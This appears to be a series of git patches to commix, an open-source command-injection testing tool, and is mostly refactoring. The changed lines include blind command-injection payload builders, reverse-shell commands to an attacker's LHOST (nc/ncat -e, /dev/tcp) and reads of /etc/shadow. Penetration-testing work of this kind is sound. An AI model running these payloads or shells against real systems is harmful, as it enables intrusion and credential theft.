+13,9 @@ For more see the file 'readme/COPYING' for copying permission. """ -from src.thirdparty.six.moves import urllib as _urllib from src.utils import settings +from src.core.injections.controller import checks +from src.thirdparty.six.moves import urllib as _urllib """ The "tempfile-based" technique on Semiblind OS Command Injection. @@ -29,7 +30,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " @@ -41,7 +42,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " @@ -52,7 +53,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator == ";" : payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + @@ -66,7 +67,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + @@ -82,7 +83,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo " + TAG + ">" + OUTPUT_TEXTFILE + ")" + separator + + "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + "str1=$(expr length \"$str\")" + separator + #"str1=${%23str} " + separator + @@ -95,7 +96,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + pipe + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + @@ -115,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque if separator == "||" : pipe = "|" payload = (pipe + " " - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " @@ -126,7 +127,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + "" "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " @@ -204,7 +205,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " @@ -223,7 +224,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul" + ampersand + "" "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " @@ -239,7 +240,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth else: if separator == ";" : payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. @@ -257,7 +258,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. @@ -277,8 +278,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(" + cmd + ">" + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str >" + OUTPUT_TEXTFILE + separator + + "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + + "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + # Find the length of the output. "str1=$(expr length \"$str\")" + separator + @@ -287,15 +288,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1 >" + OUTPUT_TEXTFILE + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) #if menu.options.data: separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" + cmd = cmd.rstrip() + cmd = checks.add_command_substitution(cmd) payload = (pipe + - "echo $(" + cmd.rstrip() + ")>" + OUTPUT_TEXTFILE + pipe + + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + "sleep " + str(timesec) @@ -317,7 +320,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + pipe + " " "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " @@ -331,7 +334,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + - ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + ampersand + "" "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " diff --git a/src/core/main.py b/src/core/main.py index cf38c43d40..da3e40fa67 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -511,10 +511,9 @@ def main(filename, url): # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload - if not menu.options.shellshock: - if not settings.USE_BACKTICKS: - settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" - settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" + # if not menu.options.shellshock and not settings.USE_BACKTICKS and not settings.MULTI_TARGETS: + # settings.SYS_USERS = checks.add_command_substitution(settings.SYS_USERS) + # settings.SYS_PASSES = checks.add_command_substitution(settings.SYS_PASSES) # Check if defined "--file-upload" option. if menu.options.file_upload: checks.file_upload() @@ -737,13 +736,13 @@ def main(filename, url): while True: message = "Please enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) - if len(menu.options.url) == 0: + if menu.options.url is None or len(menu.options.url) == 0: pass else: break message = "Please enter POST data (--data) [Enter for none] > " menu.options.data = common.read_input(message, default=None, check_batch=True) - if len(menu.options.data) == 0: + if menu.options.data is not None and len(menu.options.data) == 0: menu.options.data = False # Seconds to delay between each HTTP request. diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 665a50f84b..c8fc468bea 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -80,8 +80,7 @@ def shellshock_exploitation(cve, cmd): def enumeration(url, cve, check_header, filename): _ = False if menu.options.hostname: - info_msg = "Fetching hostname." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().hostname_msg() cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: @@ -89,8 +88,7 @@ def enumeration(url, cve, check_header, filename): settings.ENUMERATION_DONE = True if menu.options.current_user: - info_msg = "Fetching current user." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().current_user_msg() cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: @@ -98,18 +96,17 @@ def enumeration(url, cve, check_header, filename): settings.ENUMERATION_DONE = True if menu.options.is_root: - info_msg = "Testing if current user has excessive privileges." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().check_privs_msg() cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd).replace("(","").replace(")","") + cmd = ''.join(cmd) + cmd = checks.remove_parenthesis(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: checks.print_current_user_privs(shell, filename, _) settings.ENUMERATION_DONE = True if menu.options.sys_info: - info_msg = "Fetching the underlying operating system information." - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().os_info_msg() cmd = settings.RECOGNISE_OS target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_os: @@ -117,30 +114,28 @@ def enumeration(url, cve, check_header, filename): cmd = settings.DISTRO_INFO distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) if len(distro_name) != 0: - target_os = target_os + " " + distro_name + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) checks.print_os_info(target_os, target_arch, filename, _) settings.ENUMERATION_DONE = True if menu.options.users: - cmd = settings.SYS_USERS - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) + checks.print_enumenation().print_users_msg() + cmd = settings.SYS_USERS + cmd = checks.remove_command_substitution(cmd) sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_users: checks.print_users(sys_users, filename, _) settings.ENUMERATION_DONE = True if menu.options.passwords: - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - cmd = settings.SYS_PASSES + checks.print_enumenation().print_passes_msg() + cmd = settings.SYS_PASSES + cmd = checks.remove_command_substitution(cmd) sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : - checks.print_users(sys_users, filename, _) + checks.print_passes(sys_passes, filename, _) settings.ENUMERATION_DONE = True """ @@ -301,7 +296,7 @@ def shellshock_handler(url, http_request_method, filename): settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False i = i + 1 - attack_vector = "echo" + " " + cve + ":Done;" + attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. @@ -367,7 +362,7 @@ def shellshock_handler(url, http_request_method, filename): if settings.VERBOSITY_LEVEL != 0: checks.total_of_requests() - finding = check_header + " " + vuln_parameter + finding = check_header + settings.SINGLE_WHITESPACE + vuln_parameter # Print the findings to terminal. info_msg = finding + " appears to be injectable via " + technique + "." if settings.VERBOSITY_LEVEL == 0: @@ -415,15 +410,9 @@ def shellshock_handler(url, http_request_method, filename): if menu.options.os_cmd: cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Executing the user-supplied command: '" + cmd + "'." - if shell: - print(settings.print_info_msg(info_msg)) - _ = "'" + cmd + "' execution output" - print(settings.print_retrieved_data(_, shell)) - else: - err_msg = "The execution of '" + cmd + "' command does not return any output." - print(settings.print_error_msg(err_msg)) + checks.print_single_os_cmd(cmd, shell) try: # Pseudo-Terminal shell diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index bf7553a717..e2555f21c1 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -265,11 +265,11 @@ def netcat_version(separator): if nc_version != '4': # Netcat with -e - cmd = nc_alternative + " " + settings.LHOST + " " + settings.LPORT + " -e " + shell + cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell else: # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" return cmd @@ -349,12 +349,12 @@ def other_reverse_shells(separator): elif other_shell == '6': tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ - " 1>%260 2>%260\" > /tmp/" + tmp_file + " " + separator + " /bin/bash /tmp/" + tmp_file + " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file break # Ncat-reverse-shell elif other_shell == '7': - other_shell = "ncat " + settings.LHOST + " " + settings.LPORT + " -e /bin/sh" + other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh" break # Windows Python-reverse-shell @@ -557,7 +557,7 @@ def other_reverse_shells(separator): unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../', 'thirdparty/unicorn')) os.chdir(unicorn_path) gen_payload_msg(payload) - subprocess.Popen("python unicorn.py" + " " + str(payload) + " " + str(settings.LHOST) + " " + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() + subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') other_shell = _urllib.parse.quote_plus(other_shell) diff --git a/src/utils/common.py b/src/utils/common.py index 7137f1ca01..e3417a89e3 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -162,7 +162,7 @@ def create_github_issue(err_msg, exc_msg): err_msg = err_msg[err_msg.find("\n"):] request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \ - _urllib.parse.quote("repo:commixproject/commix" + " " + str(bug_report)) + _urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report)) ) try: diff --git a/src/utils/settings.py b/src/utils/settings.py index acca6bfab3..d281831f04 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "79" +REVISION = "80" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -408,7 +408,6 @@ def sys_argv_errors(): MAXLEN = 10000 IS_TTY = True - # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 @@ -562,6 +561,8 @@ def sys_argv_errors(): SHADOW_FILE = "/etc/shadow" SYS_PASSES = FILE_READ + SHADOW_FILE +WIN_REPLACE_WHITESPACE = "-replace('\s+',' '))" + # Accepts 'YES','YE','Y','yes','ye','y' CHOICE_YES = ['YES','YE','Y','yes','ye','y'] diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index ad63e8dcbe..7bdb025297 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -95,7 +95,7 @@ def do_GET(self): return except Exception: - error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)" + error_response = settings.APPLICATION + settings.SINGLE_WHITESPACE + settings.VERSION + " (https://commixproject.com)" self.wfile.write(error_response.encode()) def log_message(self, format, *args): From 0424fa92e9fb146a0d05f6feb9c1a0692b6cf3a8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 10 Jun 2022 08:34:20 +0300 Subject: [PATCH 157/560] Update README.md --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 309a8ec79a..e149bd0b1f 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ ![Screenshot](https://commixproject.com/images/background.png) - +You can visit the [collection of screenshots](https://github.com/commixproject/commix/wiki/Screenshots) demonstrating some of the features on the wiki. ## Installation @@ -23,7 +23,7 @@ You can download commix on any platform by cloning the official Git repository : Alternatively, you can download the latest [tarball](https://github.com/commixproject/commix/tarball/master) or [zipball](https://github.com/commixproject/commix/zipball/master). -*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* +*__Note:__ **[Python](http://www.python.org/download/)** (version **2.6**, **2.7** or **3.x**) is required for running commix.* ## Usage From 4eade8e8956870d01c9d5ba8b426d245ccfdd6ca Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Jun 2022 08:42:16 +0300 Subject: [PATCH 158/560] Minor update --- .../blind/techniques/time_based/tb_handler.py | 15 ++---- .../techniques/time_based/tb_injector.py | 3 +- src/core/injections/controller/checks.py | 53 +++++++------------ src/core/injections/controller/controller.py | 12 ++--- .../techniques/classic/cb_handler.py | 11 ++-- .../techniques/eval_based/eb_handler.py | 11 ++-- .../techniques/file_based/fb_handler.py | 14 ++--- .../techniques/file_based/fb_injector.py | 3 +- .../techniques/tempfile_based/tfb_handler.py | 12 ++--- .../techniques/tempfile_based/tfb_injector.py | 2 +- src/core/main.py | 3 +- src/core/modules/shellshock/shellshock.py | 11 ++-- src/core/requests/authentication.py | 3 +- src/core/requests/redirection.py | 3 +- src/core/requests/requests.py | 9 ++-- src/core/shells/bind_tcp.py | 27 ++++------ src/core/shells/reverse_tcp.py | 33 ++++-------- src/utils/common.py | 17 +++++- src/utils/crawler.py | 18 +++---- src/utils/install.py | 3 +- src/utils/session_handler.py | 6 +-- src/utils/settings.py | 2 +- src/utils/update.py | 6 +-- 23 files changed, 105 insertions(+), 172 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index d32dfd9ba6..6ade57a197 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -225,8 +225,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass if settings.VERBOSITY_LEVEL == 0: @@ -422,8 +421,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enumerate_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enumerate_again) pass else: if menu.enumeration_options(): @@ -444,8 +442,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + file_access_again + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(file_access_again) pass else: if menu.file_access_options(): @@ -517,8 +514,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise SystemExit() else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(gotshell) pass # break @@ -573,8 +569,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass else: if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index da07a0d376..343f30de0b 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -23,6 +23,7 @@ from src.thirdparty.six.moves import urllib as _urllib from src.utils import menu from src.utils import settings +from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init from src.core.requests import tor from src.core.requests import proxy @@ -522,6 +523,6 @@ def export_injection_results(cmd, separator, output, check_how_long): else: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) sys.stdout.write("\r" + settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c5bc7578e1..4319db5a8f 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -67,12 +67,10 @@ def mobile_user_agents(): elif mobile_user_agent.lower() == "q": raise SystemExit() else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(mobile_user_agent) pass except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(mobile_user_agent) pass """ @@ -195,8 +193,7 @@ def not_declared_cookies(response): elif set_cookies in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + set_cookies + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(set_cookies) pass except (KeyError, TypeError): pass @@ -260,8 +257,7 @@ def value_boundaries(value): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass return value @@ -493,8 +489,7 @@ def next_attack_vector(technique, go_back): elif next_attack_vector in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + next_attack_vector + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(next_attack_vector) pass """ @@ -554,8 +549,7 @@ def procced_with_file_based_technique(): elif enable_fb in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_fb + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_fb) pass """ @@ -617,8 +611,7 @@ def continue_tests(err): elif continue_tests in settings.CHOICE_QUIT: return False else: - err_msg = "'" + continue_tests + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(continue_tests) pass except KeyboardInterrupt: raise @@ -687,8 +680,7 @@ def ps_check(): print(settings.SINGLE_WHITESPACE) os._exit(0) else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(ps_check) pass """ @@ -705,8 +697,7 @@ def ps_check_failed(): print(settings.SINGLE_WHITESPACE) os._exit(0) else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(ps_check) pass """ @@ -752,8 +743,7 @@ def check_CGI_scripts(url): print(settings.SINGLE_WHITESPACE) os._exit(0) else: - err_msg = "'" + shellshock_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(shellshock_check) pass if not _: @@ -821,8 +811,7 @@ def identified_os(): elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass """ @@ -900,8 +889,7 @@ def identified_http_auth_type(auth_type): elif proceed_option.lower() == "q": raise SystemExit() else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(proceed_option) pass """ @@ -1350,8 +1338,7 @@ def recognise_payload(payload): elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass if is_decoded: @@ -1553,8 +1540,7 @@ def process_xml_data(): elif xml_process in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + xml_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(xml_process) pass #Check if INJECT_TAG is enclosed in quotes (in json data) @@ -1596,8 +1582,7 @@ def process_json_data(): elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + json_process + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(json_process) pass """ @@ -2020,7 +2005,7 @@ def print_single_os_cmd(cmd, shell): _ = "'" + cmd + "' execution output" print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The execution of '" + cmd + "' command does not return any output." + err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) """ @@ -2290,8 +2275,7 @@ def file_upload(): elif enable_HTTP_server in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + enable_HTTP_server + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(enable_HTTP_server) pass """ @@ -2334,8 +2318,7 @@ def define_py_working_dir(): settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) break else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(python_dir) pass settings.USER_DEFINED_PYTHON_DIR = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f0f54c3c9d..286ae2a89f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -226,8 +226,7 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass else: settings.CLASSIC_STATE = False @@ -259,8 +258,7 @@ def dynamic_code_evaluation_technique(url, timesec, filename, http_request_metho elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass else: settings.EVAL_BASED_STATE = False @@ -391,8 +389,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(procced_option) pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: @@ -829,8 +826,7 @@ def do_check(url, http_request_method, filename): elif next_level in settings.CHOICE_QUIT: raise SystemExit() else: - err_msg = "'" + next_level + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) + common.invalid_option(next_level) pass else: perform_checks(url, http_request_method, filename) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 088316b646..96e9a82fe0 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -302,8 +302,7 @@ def cb_injection_handler(url, timesec, filename, 